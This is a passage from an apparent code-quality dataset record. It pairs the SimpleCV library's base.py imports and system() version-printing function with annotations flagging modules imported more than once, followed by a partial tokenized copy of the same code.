2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Module is imported more than once
sightmachine/SimpleCV/SimpleCV/base.py
[ { "content": "#!/usr/bin/python\n\n# SimpleCV system includes\nimport os\nimport sys\nimport warnings\nimport time\nimport socket\nimport re\nimport urllib2\nimport types\nimport SocketServer\nimport threading\nimport tempfile\nimport zipfile\nimport pickle\nimport glob #for directory scanning\nimport abc #abstract base class\nimport colorsys\nimport logging\nimport pygame as pg\nimport scipy.ndimage as ndimage\nimport scipy.stats.stats as sss #for auto white balance\nimport scipy.cluster.vq as scv\nimport scipy.linalg as nla # for linear algebra / least squares\nimport math # math... who does that\nimport copy # for deep copy\nimport numpy as np\nimport scipy.spatial.distance as spsd\nimport scipy.cluster.vq as cluster #for kmeans\nimport pygame as pg\nimport platform\nimport copy\nimport types\nimport time\nimport itertools #for track\n\nfrom numpy import linspace\nfrom scipy.interpolate import UnivariateSpline\nfrom warnings import warn\nfrom copy import copy\nfrom math import *\nfrom pkg_resources import load_entry_point\nfrom SimpleHTTPServer import SimpleHTTPRequestHandler\nfrom types import IntType, LongType, FloatType, InstanceType\nfrom cStringIO import StringIO\nfrom numpy import int32\nfrom numpy import uint8\nfrom EXIF import *\nfrom pygame import gfxdraw\nfrom pickle import *\n\n# SimpleCV library includes\ntry:\n import cv2.cv as cv\nexcept ImportError:\n try:\n import cv\n except ImportError:\n raise ImportError(\"Cannot load OpenCV library which is required by SimpleCV\")\n\n\n#optional libraries\nPIL_ENABLED = True\ntry:\n from PIL import Image as pil\n from PIL import ImageFont as pilImageFont\n from PIL import ImageDraw as pilImageDraw\n from PIL import GifImagePlugin\n getheader = GifImagePlugin.getheader\n getdata = GifImagePlugin.getdata\nexcept ImportError:\n try:\n import Image as pil\n from GifImagePlugin import getheader, getdata\n except ImportError:\n PIL_ENABLED = False\n\nFREENECT_ENABLED = True\ntry:\n import freenect\nexcept ImportError:\n FREENECT_ENABLED = False\n\nZXING_ENABLED = True\ntry:\n import zxing\nexcept ImportError:\n ZXING_ENABLED = False\n\nOCR_ENABLED = True\ntry:\n import tesseract\nexcept ImportError:\n OCR_ENABLED = False\n\n\nPYSCREENSHOT_ENABLED = True\ntry:\n import pyscreenshot\nexcept ImportError:\n PYSCREENSHOT_ENABLED = False\n\nORANGE_ENABLED = True\ntry:\n try:\n import orange\n except ImportError:\n import Orange; import orange\n\n import orngTest #for cross validation\n import orngStat\n import orngEnsemble # for bagging / boosting\n\nexcept ImportError:\n ORANGE_ENABLED = False\n\nVIMBA_ENABLED = True\ntry:\n import pymba\nexcept ImportError:\n #TODO Log an error the pymba is not installed\n VIMBA_ENABLED = False\nexcept Exception:\n #TODO Log an error that AVT Vimba DLL is not installed properly\n VIMBA_ENABLED = False\n\n\ninit_options_handler = InitOptionsHandler()\n\ntry:\n import pygame as pg\nexcept ImportError:\n init_options_handler.set_headless()\n\n#couple quick typecheck helper functions\n\n\n\n\n\n\n\n\n\n#Logging system - Global elements\n\nconsoleHandler = logging.StreamHandler()\nformatter = logging.Formatter('%(levelname)s: %(message)s')\nconsoleHandler.setFormatter(formatter)\nlogger = logging.getLogger('Main Logger')\nlogger.addHandler(consoleHandler)\n\ntry:\n import IPython\n ipython_version = IPython.__version__\nexcept ImportError:\n ipython_version = None\n\n#This is used with sys.excepthook to log all uncaught exceptions.\n#By default, error messages ARE print to stderr.\n\nsys.excepthook = exception_handler\n\n\n\n#The two following functions are used internally.\n\n\n\n\n\n\n#supported image formats regular expression ignoring case\nIMAGE_FORMATS = ('*.[bB][mM][Pp]','*.[Gg][Ii][Ff]','*.[Jj][Pp][Gg]','*.[jJ][pP][eE]',\n'*.[jJ][Pp][Ee][Gg]','*.[pP][nN][gG]','*.[pP][bB][mM]','*.[pP][gG][mM]','*.[pP][pP][mM]',\n'*.[tT][iI][fF]','*.[tT][iI][fF][fF]','*.[wW][eE][bB][pP]')\n\n#maximum image size -\nMAX_DIMENSION = 2*6000 # about twice the size of a full 35mm images - if you hit this, you got a lot data.\nLAUNCH_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__)))\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def system():\n \"\"\"\n \n **SUMMARY**\n \n Output of this function includes various informations related to system and library.\n \n Main purpose:\n - While submiting a bug, report the output of this function\n - Checking the current version and later upgrading the library based on the output\n \n **RETURNS**\n \n None\n\n **EXAMPLE**\n \n >>> import SimpleCV\n >>> SimpleCV.system()\n \n \n \"\"\"\n try :\n import platform\n print \"System : \", platform.system()\n print \"OS version : \", platform.version()\n print \"Python version :\", platform.python_version()\n try :\n from cv2 import __version__\n print \"Open CV version : \" + __version__\n except ImportError :\n print \"Open CV2 version : \" + \"2.1\"\n if (PIL_ENABLED) :\n print \"PIL version : \", pil.VERSION\n else :\n print \"PIL module not installed\"\n if (ORANGE_ENABLED) :\n print \"Orange Version : \" + orange.version\n else :\n print \"Orange module not installed\"\n try :\n import pygame as pg\n print \"PyGame Version : \" + pg.__version__\n except ImportError:\n print \"PyGame module not installed\"\n try :\n import pickle\n print \"Pickle Version : \" + pickle.__version__\n except :\n print \"Pickle module not installed\"\n\n except ImportError :\n print \"You need to install Platform to use this function\"\n print \"to install you can use:\"\n print \"easy_install platform\"\n return", "metadata": "root.system", "header": "['module', '___EOS___']", "index": 369 } ]
[ { "span": "import copy", "start_line": 32, "start_column": 0, "end_line": 32, "end_column": 11 }, { "span": "import types", "start_line": 33, "start_column": 0, "end_line": 33, "end_column": 12 }, { "span": "import platform", "start_line": 392, "start_column": 8, "end_line": 392, "end_column": 23 }, { "span": "import pickle", "start_line": 415, "start_column": 12, "end_line": 415, "end_column": 25 } ]
[ { "span": "import types", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 12 }, { "span": "import pickle", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 13 }, { "span": "import copy ", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 11 }, { "span": "import platform", "start_line": 31, "start_column": 0, "end_line": 31, "end_column": 15 } ]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "more_", "than_", "once_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple", "CV", " ", "system", " ", "includes_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "warnings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Sock", "et", "Server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "threading_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zipfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "glob_", "#", "for", " ", "director", "y", " ", "scanning", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "abc_", "#", "abstract", " ", "base", " ", "class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "colors", "ys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pygame_", "as_", "pg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "scipy_", "._", "ndimage_", "as_", "ndimage_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "scipy_", "._", "stats_", "._", "stats_", "as_", "sss", "_", "#", "for", " ", "auto", " ", "white", " ", "balance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "scipy_", "._", "cluster_", "._", "vq", "_", "as_", "sc", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "scipy_", "._", "linalg_", "as_", "nla", "_", "#", " ", "for", " ", "linear", " ", "algebra", " ", "/", " ", "leas", "t", " ", "squares_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "math_", "#", " ", "math", "...", " ", "who", " ", "doe", "s", " ", "that_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "copy_", "#", " ", "for", " ", "deep", " ", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "scipy_", "._", "spatial_", "._", "distance_", "as_", "sps", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "scipy_", "._", "cluster_", "._", "vq", "_", "as_", "cluster_", "#", "for", " ", "kmeans", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pygame_", "as_", "pg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "platform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "itertools_", "#", "for", " ", "track_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "numpy_", "import_", "linspace_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "scipy_", "._", "interpolate_", "import_", "Uni", "varia", "te", "Spline", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "warnings_", "import_", "warn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "copy_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "math_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pkg", "\\u", "resources_", "import_", "load", "\\u", "entry", "\\u", "point_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Simple", "HTTP", "Server_", "import_", "Simple", "HTTP", "Request", "Handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "types_", "import_", "Int", "Type_", ",_", "Long", "Type_", ",_", "Float", "Type_", ",_", "Insta", "nce", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "c", "String", "IO_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "numpy_", "import_", "int32_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "numpy_", "import_", "uint8_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "EX", "IF_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pygame_", "import_", "gfx", "draw_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pickle_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple", "CV", " ", "librar", "y", " ", "includes_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "cv2_", "._", "cv_", "as_", "cv_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "cv_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Import", "Error_", "(_", "\"", "Cann", "ot", " ", "load", " ", "Open", "CV", " ", "librar", "y", " ", "whi", "ch", " ", "is", " ", "require", "d", " ", "by", " ", "Simple", "CV", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "option", "al", " ", "libraries_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "PI", "L", "\\u", "ENABLED_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "PIL_", "import_", "Image_", "as_", "pil", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "PIL_", "import_", "Image", "Font_", "as_", "pil", "Image", "Font_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "PIL_", "import_", "Image", "Draw_", "as_", "pil", "Image", "Draw_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "PIL_", "import_", "Gi", "f", "Image", "Plugin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "getheader_", "=_", "Gi", "f", "Image", "Plugin_", "._", "getheader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "getdata_", "=_", "Gi", "f", "Image", "Plugin_", "._", "getdata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "Image_", "as_", "pil", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Gi", "f", "Image", "Plugin_", "import_", "getheader_", ",_", "getdata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "PI", "L", "\\u", "ENABLED_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "FREE", "NE", "CT", "\\u", "ENABLED_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "free", "nect", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "FREE", "NE", "CT", "\\u", "ENABLED_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ZX", "ING", "\\u", "ENABLED_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "zx", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ZX", "ING", "\\u", "ENABLED_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "OCR", "\\u", "ENABLED_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "tess", "era", "ct_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "OCR", "\\u", "ENABLED_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "PY", "SCREEN", "SHO", "T", "\\u", "ENABLED_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "pys", "creen", "shot_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "PY", "SCREEN", "SHO", "T", "\\u", "ENABLED_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ORA", "NGE", "\\u", "ENABLED_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "orange", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "Orange_", ";_", "import_", "orange", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "orn", "g", "Test_", "#", "for", " ", "cross", " ", "validation_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "orn", "g", "Stat_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "orn", "g", "Ensemble", "_", "#", " ", "for", " ", "bag", "ging", " ", "/", " ", "boost", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ORA", "NGE", "\\u", "ENABLED_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "VI", "MB", "A", "\\u", "ENABLED_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "pym", "ba_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "TOD", "O", " ", "Log", " ", "an", " ", "error", " ", "the", " ", "pym", "ba", " ", "is", " ", "not", " ", "installed_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "VI", "MB", "A", "\\u", "ENABLED_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "TOD", "O", " ", "Log", " ", "an", " ", "error", " ", "tha", "t", " ", "AV", "T", " ", "Vi", "mba", " ", "DLL", " ", "is", " ", "not", " ", "install", "ed", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "VI", "MB", "A", "\\u", "ENABLED_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "init", "\\u", "options", "\\u", "handler_", "=_", "Ini", "t", "Optio", "ns", "Handler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "pygame_", "as_", "pg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "init", "\\u", "options", "\\u", "handler_", "._", "set\\u", "headl", "ess_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "couple", " ", "quick", " ", "typecheck", " ", "help", "er", " ", "functions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Log", "ging", " ", "system", " ", "-", " ", "Global", " ", "elements_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "console", "Handler_", "=_", "logging_", "._", "Stream", "Handler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "formatter_", "=_", "logging_", "._", "Formatter_", "(_", "'%", "(", "level", "name", ")", "s", ":", " ", "%", "(", "message", ")", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console", "Handler_", "._", "set", "Formatter_", "(_", "formatter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "'", "Main", " ", "Log", "ger", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "add", "Handler_", "(_", "console", "Handler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "IP", "ython_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ipython", "\\u", "version_", "=_", "IP", "ython_", "._", "\\u\\u", "version\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ipython", "\\u", "version_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Thi", "s", " ", "is", " ", "used", " ", "with", " ", "sys", ".", "except", "hook", " ", "to", " ", "log", " ", "all", " ", "unca", "ugh", "t", " ", "exception", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "By", " ", "default", ",", " ", "error", " ", "message", "s", " ", "ARE", " ", "print", " ", "to", " ", "std", "err", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sys_", "._", "except", "hook_", "=_", "exception", "\\u", "handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "The", " ", "two", " ", "follow", "ing", " ", "function", "s", " ", "are", " ", "used", " ", "internal", "ly", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "support", "ed", " ", "image", " ", "formats", " ", "regular", " ", "express", "ion", " ", "ign", "orin", "g", " ", "case_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "IMA", "GE", "\\u", "FORMATS_", "=_", "(_", "'*", ".", "[", "b", "B", "][", "m", "M", "][", "Pp", "]'_", ",_", "'*", ".", "[", "Gg", "][", "Ii", "][", "Ff", "]'_", ",_", "'*", ".", "[", "J", "j", "][", "Pp", "][", "Gg", "]'_", ",_", "'*", ".", "[", "j", "J", "][", "p", "P", "][", "e", "E", "]'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'*", ".", "[", "j", "J", "][", "Pp", "][", "Ee", "][", "Gg", "]'_", ",_", "'*", ".", "[", "p", "P", "][", "n", "N", "][", "g", "G", "]'_", ",_", "'*", ".", "[", "p", "P", "][", "b", "B", "][", "m", "M", "]'_", ",_", "'*", ".", "[", "p", "P", "][", "g", "G", "][", "m", "M", "]'_", ",_", "'*", ".", "[", "p", "P", "][", "p", "P", "][", "m", "M", "]'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'*", ".", "[", "t", "T", "][", "i", "I", "][", "f", "F", "]'_", ",_", "'*", ".", "[", "t", "T", "][", "i", "I", "][", "f", "F", "][", "f", "F", "]'_", ",_", "'*", ".", "[", "w", "W", "][", "e", "E", "][", "b", "B", "][", "p", "P", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "maxim", "um", " ", "image", " ", "size", " ", "-_", "\\u\\u\\uNL\\u\\u\\u_", "MAX", "\\u", "DIMENSION", "_", "=_", "2_", "*_", "6000_", "#", " ", "abo", "ut", " ", "twi", "ce", " ", "the", " ", "size", " ", "of", " ", "a", " ", "full", " ", "3", "5", "mm", " ", "images", " ", "-", " ", "if", " ", "you", " ", "hit", " ", "this", ",", " ", "you", " ", "got", " ", "a", " ", "lot", " ", "data", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "LAUN", "CH", "\\u", "PATH_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "system_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "**", "SUMMARY", "**", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Output", " ", "of", " ", "this", " ", "function", " ", "include", "s", " ", "vari", "ous", " ", "informations", " ", "relate", "d", " ", "to", " ", "system", " ", "and", " ", "librar", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Main", " ", "purpose", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Whi", "le", " ", "submit", "ing", " ", "a", " ", "bug", ",", " ", "report", " ", "the", " ", "output", " ", "of", " ", "this", " ", "function", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Check", "ing", " ", "the", " ", "current", " ", "version", " ", "and", " ", "late", "r", " ", "up", "gradi", "ng", " ", "the", " ", 